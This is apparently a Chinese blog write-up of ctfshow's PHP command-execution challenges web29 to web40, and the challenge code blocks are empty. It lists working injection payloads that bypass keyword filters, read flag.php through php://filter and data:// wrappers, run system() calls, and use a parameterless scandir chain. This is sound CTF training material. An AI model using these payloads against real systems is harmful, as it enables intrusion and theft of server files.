CTFSHOW 命令执行板块
先附上两位大佬的wp,太久没打CTF了,自己菜的要死。
https://zhuanlan.zhihu.com/p/404636378
https://wkr.moe/ctf/447.html
web29
没啥好说的
1 |
|
get请求命令执行 但是过滤了flag 利用通配符解决
payload
?c=system(‘cat fl*.php’);
web30
1 |
|
一样的审计一下
多了个flag|system|php
过滤
那就不用system执行命令,用其他的
百度一下
1 | /?c=echo%20`nl%20fla*.ph*`; |
利用post请求,类似于一句话木马
payload还是蛮多的
web31
1 |
|
前面的eval 其实可以通杀了
大佬的payload
?c=echo%09`less%09fla*`;
?c=echo%09`more%09fla*`;
/?c=echo%09`/bin/ca*%09fla*`;
web32
1 |
|
都过滤了,这里用文件包含进行尝试
payload
?c=include%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
得到的结果再base64解密即可。
web33
1 |
|
?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
include和require一样的
web34
1 |
|
和前面一样
/?c=require%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
ctfshow{ee6aa1e8-f525-4459-9456-33e30b313717}
web35
1 |
|
其实还是差不多
paylod?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web36 同35
web37
1 |
|
这里感觉是可以用伪协议的
?c=file:///var/www/html/fla*.php
/?c=php://filter/convert.base64-encode/resource=fla*.php
这俩都失败了
试试其他伪协议
推荐文章
https://segmentfault.com/a/1190000018991087
利用data协议data://text/plain,<?php%20phpinfo();?>
执行成功,直接查看flag/?c=data://text/plain,<?php%20system("cat fla*.php");?>
查看源代码 拿到flag
web38
1 |
|
这里过滤了php 原本想着通配符的,失败
base64编码一下/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
/?c=data://text/plain,<?=system("tac fla*");?>
看了大佬的解题,这里没搞明白,为什么直接 <?=system 后面就可以命令执行了
短标签,又学到了。
web39
/?c=data://text/plain,<?=system("tac fla*");?>
这个直接可用
web40
1 |
|
都过滤麻了 直接 只能想到无参数命令执行了
这题是真的有点难
/?c=print_r(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));
show_source(next(array_reverse(scandir(pos(localeconv())))));
这两个都是看大佬的文章学会的
1 | eval(show_source(current(array_reverse(scandir(pos(localeconv())))));) |
然后呢 其实这个payload 也可以/?c=show_source(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));
再看第一个payload/?c=print_r(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));
这里呢,是localeconv() 函数返回包含本地数字及货币信息格式的数组。
然后首先将结果输出
再通过pos()得到数组中的关键元素——本地重要文件地址
通过scandir()借助本地重要文件地址,返回本地重要的文件名(为什么不直接用,因为flag被过滤了)
这里看到flag.php在数组的第三个位置,有点不好取,这里可以用array_reverse()将数组进行反转,从而变成第二个,再用next去取
反转后flag.php 在第二个位置
利用next读取到flag.php
最后用file_get_contents
或者show_source
进行读取结果
利用show_source可以直接在网页中显示
总结
太菜了。好多都忘记了,得重修了。
- 本文标题:CTFSHOW刷题-命令执行篇
- 创建时间:2023-09-26 00:00:00
- 本文链接:2023/09/26/CTFSHOW刷题-命令执行篇/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!